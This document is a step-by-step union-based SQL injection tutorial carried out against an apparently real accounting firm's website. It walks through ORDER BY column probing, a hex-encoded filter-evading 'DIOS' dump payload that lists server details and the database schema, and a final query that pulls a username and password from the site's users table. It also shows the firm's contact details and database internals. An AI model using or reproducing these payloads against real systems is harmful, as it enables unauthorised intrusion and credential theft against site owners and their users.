

Identify Union Base SQL Injection

Union Based : Get **Fixed Column number** and Use **Union query** to get database information .

Step1: Find out actual column number using order by / ' order by -- - operation .

Step2: use actual column number with union operation

example: ' union select 1,2,3-- -

Step3: Check which column number show in your target website

Step4: Use union base payload in perfect column number to exploit database .

Step5: Use dios sql injection

Step6: Use actual user table data with union operation

Example: 'union select 1,2,concat(username,0x3d3d,password) from user
-- -

Payload URL Encoded
== ox3d3d

Manually :

1. URL

The screenshot shows the homepage of C P Agrawal & Associates. At the top, there is a red box highlighting the URL in the address bar: `cacpa.in/page.php?id=2`. The page features a blue header with the company logo and name. Below the header is a navigation menu with links for HOME, ABOUT US, TEAM & INFRA, PAYMENTS, CONTACT US, and FLOWCHARTS. A large banner image shows hands working on financial documents. On the left side, there is a sidebar titled "OUR SERVICES" listing various service categories. On the right side, there is a sidebar titled "ABOUT US" containing a brief description of the firm's history and values, accompanied by a silhouette image of two people shaking hands. Social media icons for Facebook, Google+, LinkedIn, Email, and Twitter are located in the top right corner.

2. Find out the actual column number using order by / ' order by -- - operation .

using ' order by 6 -- - operation

The screenshot shows the same website as above, but with a red arrow pointing from the text "Using 'order by 6 -- -" to the URL in the address bar, which now includes the query parameter `?id=2'order by 6 -- -`. The rest of the page content remains identical to the first screenshot.

Show : Unknown column '6' in 'order clause'



using ' order by 5 -- - operation

A screenshot of the C P Agrawal & Associates website. The URL is https://cacpa.in/page.php?id=2' order by 5 -- -. A red box highlights the URL. A red arrow points from the text "Using ' order by 5 -- -" in the question below to this highlighted URL.

The website features a blue header with the firm's name "C P Agrawal & Associates Chartered Accountants" and a logo. Below the header is a banner image of two people working on financial documents. The main menu includes links for HOME, ABOUT US, TEAM & INFRA, PAYMENTS, CONTACT US, and FLOWCHARTS. On the right side, there is contact information and social media links. The footer contains sections for COMPANY, INCOME TAX, FIRM REGISTRATION, SERVICE TAX, SALES TAX, NGO REGISTRATION, TRADE MARK REGS., and IEC CODE. A sidebar on the left lists "OUR SERVICES" with categories like AUDITING & ASSURANCE, TAXATION, COMPANY LAW MATTERS, etc. A "User Login" form is also present in the sidebar.

OUR SERVICES

- » AUDITING & ASSURANCE
- » TAXATION
- » COMPANY LAW MATTERS
- » PROJECT FINANCING
- » PROJECT MANAGEMENT
- » APPELLATE MATTERS
- » MANAGEMENT CONSULTANCY
- » PERSONAL ADVISORY

ABOUT US

C.P. Agrawal and Associates is a firm of dedicated and zealous Chartered Accountants. Formed on 9th May 2001 the firm in a very short span of time has been able to create a niche for itself amidst highly competitive environment. We take great pride in respect and confidence that we have earned from our clients and strive to improve it everyday.

We at C.P. Agrawal & Associates believe in keeping ourselves updated in the vibrant changing economy so that we can provide prompt quality services. The philosophy is backed by experienced and motivated professionals and a highly dedicated staff with the sole aim of taking the organization to the top. For us success is not just defined in quantity but by the quality of work provided by us and by the satisfaction achieved by our clients. We not only aim at providing all your business solutions under one roof but also try to develop a feeling of security amongst the client.

Show :

The screenshot shows the homepage of C P Agrawal & Associates. At the top, there is a navigation bar with links for HOME, ABOUT US, TEAM & INFRA, PAYMENTS, CONTACT US, and FLOWCHARTS. Below the navigation bar is a large banner image showing two people in business attire working on financial documents. To the left of the banner is a sidebar titled "OUR SERVICES" containing a list of services: AUDITING & ASSURANCE, TAXATION, COMPANY LAW MATTERS, PROJECT FINANCING, PROJECT MANAGEMENT, APPELLATE MATTERS, MANAGEMENT CONSULTANCY, and PERSONAL ADVISORY. To the right of the banner is another sidebar titled "COMPANY" listing various registration types: INCOME TAX, FIRM REGISTRATION, SERVICE TAX, SALES TAX, NGO REGISTRATION, TRADE MARK REGS., and IEC CODE. The main content area contains a section titled "ABOUT US" with a small image of two people shaking hands.

So your actual column number is 5 .

3. using actual column ' union select 1,2,3,4,5 -- -

The screenshot shows the same website as above, but with a red arrow pointing to the URL bar at the top, which displays the URL <https://cacpa.in/page.php?id=2' union select 1,2,3,4,5 -- ->. This indicates that the user has injected SQL code into the URL to exploit a security vulnerability. The rest of the page content is identical to the first screenshot.

Show :

https://cacpa.in/page.php?id=2%27union%20select%201,2,3,4,5%20--%

The screenshot shows a web page with a blue header. The header contains the logo 'C P Agrawal & Associates Chartered Accountants', the address '142-GF, CHITRA VIHAR, DELHI 110092', contact information (Mob: 9312221571, 9910095571, Ph: 22432385, 22041721, 22521627, 22041720, Email: c_p_aggarwal@yahoo.com, info@cacpa.in), and social media links for Facebook, Google+, LinkedIn, YouTube, and Twitter. Below the header is a main menu with links to HOME, ABOUT US, TEAM & INFRA, PAYMENTS, CONTACT US, and FLOWCHARTS. A large image of two people working with documents and a tablet is centered below the menu. To the left of the center image is a sidebar titled 'OUR SERVICES' listing various services like AUDITING & ASSURANCE, TAXATION, COMPANY LAW MATTERS, etc. To the right is another sidebar titled 'COMPANY' listing services like INCOME TAX, FIRM REGISTRATION, SERVICE TAX, etc. At the bottom left is a 'User Login' form with fields for Username and Password, and a 'Login' button. A red box highlights the number '4' in the center image.

SO , Your vulnerable column number is 4 .

4. using actual column 'union select 1,2,3,database(),5 -- -

Using 'union select 1,2,3,database(),5 -- -

The screenshot shows the same website as above, but with a red box highlighting the URL in the browser's address bar: 'https://cacpa.in/page.php?id=2' union select 1,2,3,database(),5 -- -. A red arrow points from this highlighted URL up to the original screenshot above. The rest of the page content is identical to the first screenshot, including the header, menu, central image, service lists, and user login form.

Show :

[cacpa.in/page.php?id=2%27union%20select%201,2,3,database\(\),5%20--%20-](http://cacpa.in/page.php?id=2%27union%20select%201,2,3,database(),5%20--%20-)

The screenshot shows the homepage of C P Agrawal & Associates. The header includes the company logo, name, and address (142-GF, CHITRA VIHAR, DELHI 110092). The footer contains social media links and a red box highlighting the database name 'cacpa_cacpa'.

OUR SERVICES

- AUDITING & ASSURANCE
- TAXATION
- COMPANY LAW MATTERS
- PROJECT FINANCING
- PROJECT MANAGEMENT
- APPELLATE MATTERS
- MANAGEMENT CONSULTANCY
- PERSONAL ADVISORY

COMPANY

- INCOME TAX
- FIRM REGISTRATION
- SERVICE TAX
- SALES TAX
- NGO REGISTRATION
- TRADE MARK REGS.
- IEC CODE

So your database name is cacpa_cacpa .

5. Using DIOS BY INDOSEC WAF :

```
/*!00000CoNcAt*/(0x3c7363726970743e646f63756d656e742e7469746c653d2244494f53204279207b20494e444f534543207d22  
3b3c2f7363726970743e3c6c696e6b2072656c3d227374796c6573686565742220687265663d2268747470733a2f2f6d617863646e  
2e626f6f7473747261706346e2e636f6d2f626f6f7473747261702f342e332e312f6373732f626f6f7473747261702e6d696e2e63737  
3223e3c36356e7465723e3c696d67207372633d2268747470733a2f2f656e637279707465642d74626e302e677374617469632e63  
6f6d2f696d616765733f713d74626e3a41e64394763534965525179622d6d62444b3432413849474a70734a6d4d4172694c51556  
56d587a594e7972666a4a7a423576787754766d2220636c6173733d226d782d6175746f20642d626c6f636b20696d672d666c7569  
6422207469746c653d22496e646f7365632220616c743d22496e646f73656322207374796c653d2277696474683a2032303070783  
b206865696768743a20323030707822202f3e3c2f63656e7465723e3c683220636c6173733d22746578742d63656e746572207465  
78742d64616e676572223e3c623e44494f53204279207b20494e444f534543207d3c2f623e3c2f68323e3c63656e7465723e3c736d  
616c6c3e3c623e446174653a20,/*!00000NOW()/*,0x3c2f623e3c2f736d616c6c3e3c2f63656e7465723e3c62723e3c64697620636  
c6173733d227461626c652d726573706f6e73697665223e3c7461626c6520636c6173733d227461626c65207461626c652d737472  
69706564207461626c652d626f726465726564207461626c652d686f766572223e3c74723e3c746820636f6c7370616e3d22322220  
636c6173733d22746578742d63656e7465722062672d6461726b20746578742d7768697465223e496e666f726d6174696f6e20476  
174686572696e673c2f74683e3c2f74723e3c74723e3c74643e486f7374204e616d653a3c2f74643e3c74643e,*!00000@{@hostna  
me*},0x3c2f74643e3c2f74723e3c74723e3c74643e44617461626173653a3c2f74643e3c74643e,*!00000database*/(),0x3c2f7464  
3e3c2f74723e3c74723e3c74643e557365723a3c2f74643e3c74643e,*!00000current_user*/(),0x3c2f74643e3c2f74723e3c74723  
e3c74643e4f7065726174696f6e2073797374656d3c2f74643e3c74643e,*!00000@{@version_compile_os*},0x3c2f74643e3c2f74  
723e3c74723e3c74643e5665723696f6e3a3c2f74643e3c74643e,*!00000version*/(),0x3c2f74643e3c2f74723e3c74723e3c7464  
3e506f72743a3c2f74643e3c74643e,*!00000@{@port*},0x3c2f74643e3c2f74723e3c74723e3c74643e44617461204469723a3c2f7  
4643e3c74643e,*!00000@{@datadir*},0x3c2f74643e3c2f74723e3c74723e3c74643e53796d6c696e6b3a3c2f74643e3c74643e,*!  
00000@{@GLOBAL.have_symlink*},0x3c2f74643e3c2f74723e3c74723e3c74643e50726976696c65676573202f20696e74726f206f757466696c652  
0636865636b3c2f74643e3c74643e,(SELECT+GROUP_CONCAT(GRANTEE,0x20d3e20,IS_GRANTABLE,0x3c62723e)+FROM  
+INFORMATION_SCHEMA.USER_PRIVILEGES),0x3c2f74643e3c2f74723e3c2f7461626c653e3c62723e3c7461626c6520636c6  
173733d227461626c65207461626c652d73747269706564207461626c652d626f726465726564207461626c652d686f766572223e  
3c74723e3c746820636f6c7370616e3d2232220636c6173733d22746578742d63656e7465722062672d6461726b20746578742d7  
768697465223e44554d5020444154413c2f74683e3c2f74723e3c74723e3c746820636c6173733d22746578742d63656e74657220  
62672d6461726b20746578742d7768697465223e5461626c65204e616d653c2f74683e3c746820636c6173733d22746578742d636
```

```

56e7465722062672d6461726b20746578742d7768697465223e4669656c64204e616d653c2f74683e3c2f74723e3c74723e,(select
(@x)from(select(@x:=0x00),(select(0)/*!From*(information_schema.columns)where(table_schema=database())and(0x00)in(
@x:=concat
(@x,0x3c74723e3c74643e,table_name,0x3c2f74643e3c74643e,column_name))))x),0x3c2f74723e3c2f7461626c653e3c2f64697
63e3c63656e7465723e3c7374726f6e673e4372656174652042792052697a737961642041523c2f7374726f6e673e3c2f63656e746
5723e3c62723e203c212d2d)

```

Using dios

Show :

Information Gathering	
Host Name:	root.adisol.in
Database:	cacpa_cacpa
User:	cacpa_cacpa@localhost
Operation system	Linux
Version:	5.7.40-log
Port:	3306
Data Dir:	/var/lib/mysql/
Symlink:	DISABLED
SSL:	YES

DUMP DATA	
Table Name	Field Name
documents	id
documents	user_id
documents	description
documents	file
hits	id
hits	ip
hits	value
hits	counter
menu_settings	act_rules
menu_settings	utilities
menu_settings	forms
menu_settings	links
menu_settings	vat
menu_settings	calculators
menu_settings	circulars
menu_settings	bulletins
menu_settings	softwares
menu_settings	digital_signatures
menu_settings	help_desk
pages	id

menu_settings	digital_signatures
menu_settings	help_desk
pages	id
pages	name
pages	title
pages	content
pages	delete_status
settings	page_title
settings	punch_line
user_docs	id
user_docs	user_id
user_docs	file
user_docs	description
user_docs	cdate
users	id
users	username
users	password

Create By Rizsyad AR

- [COMPANY](#)
 - [REQ FOR INCORPORATION](#)
 - [CHANGE IN NAME/ OBJECTS](#)
 - [REQ FOR DIN](#)
 - [REQ OF COMPANY](#)
 - [INCOME TAX](#)
 - [REQ FOR PAN & ITR](#)
 - [DETAILS FOR ITR](#)
-

user_docs	description
user_docs	cdate
users	id
users	username
users	password

Create By Rizsyad AR

- COMPANY
 - REQ FOR INCORPORATION
 - CHANGE IN NAME/ OBJECTS
 - REQ FOR DIN
 - REQ OF COMPANY
- INCOME TAX
 - REQ FOR PAN & ITR
 - DETAILS FOR ITR
- FIRM REGISTRATION
 - PROPRIORSHIP
 - PARTNERSHIP
- SERVICE TAX
 - LEGAL REQ.
 - PROPRIERTERSHIP
 - COMPANY/PARTNERSHIP
- SALES TAX
 - REQ. FOR DVAT & CST
 - DETAILS FOR REGISTRATION
 - LEGAL REQUIREMENT
- NGO REGISTRATION
 - SOCIETY
 - TRUST
 - EXEMPTION U/S 12A & 80G
- TRADE MARK REGS.
- IEC CODE

Total Visitors:
547429

Copyrights © C P AGRAWAL & ASSOCIATES All
Rights Reserved.

Powered By Aem
Solutions

6. use actual user table data with union operation :

Using 'Concat(username,0x3d3d,password)' From user

The screenshot shows a browser window with the URL [https://cacpa.in/page.php?id=2' union select 1,2,3,concat\(username,0x3d3d,password\),5 from user -- -](https://cacpa.in/page.php?id=2' union select 1,2,3,concat(username,0x3d3d,password),5 from user -- -). A red box highlights the URL. The page content includes the company logo, navigation menu (HOME, ABOUT US, TEAM & INFRA, PAYMENTS, CONTACT US, FLOWCHARTS), a main banner image of hands analyzing charts, and sidebar sections for OUR SERVICES, COMPANY, and User Login. The User Login form has 'Username:' and 'Password:' fields.

Show :

The screenshot shows the same website layout as above, but with a red box around the password field in the User Login form containing the value 'rakesh1==1234'. A red arrow points from the text 'User id and password' to this red box. The rest of the page content is identical to the first screenshot.

Successfully found username and password.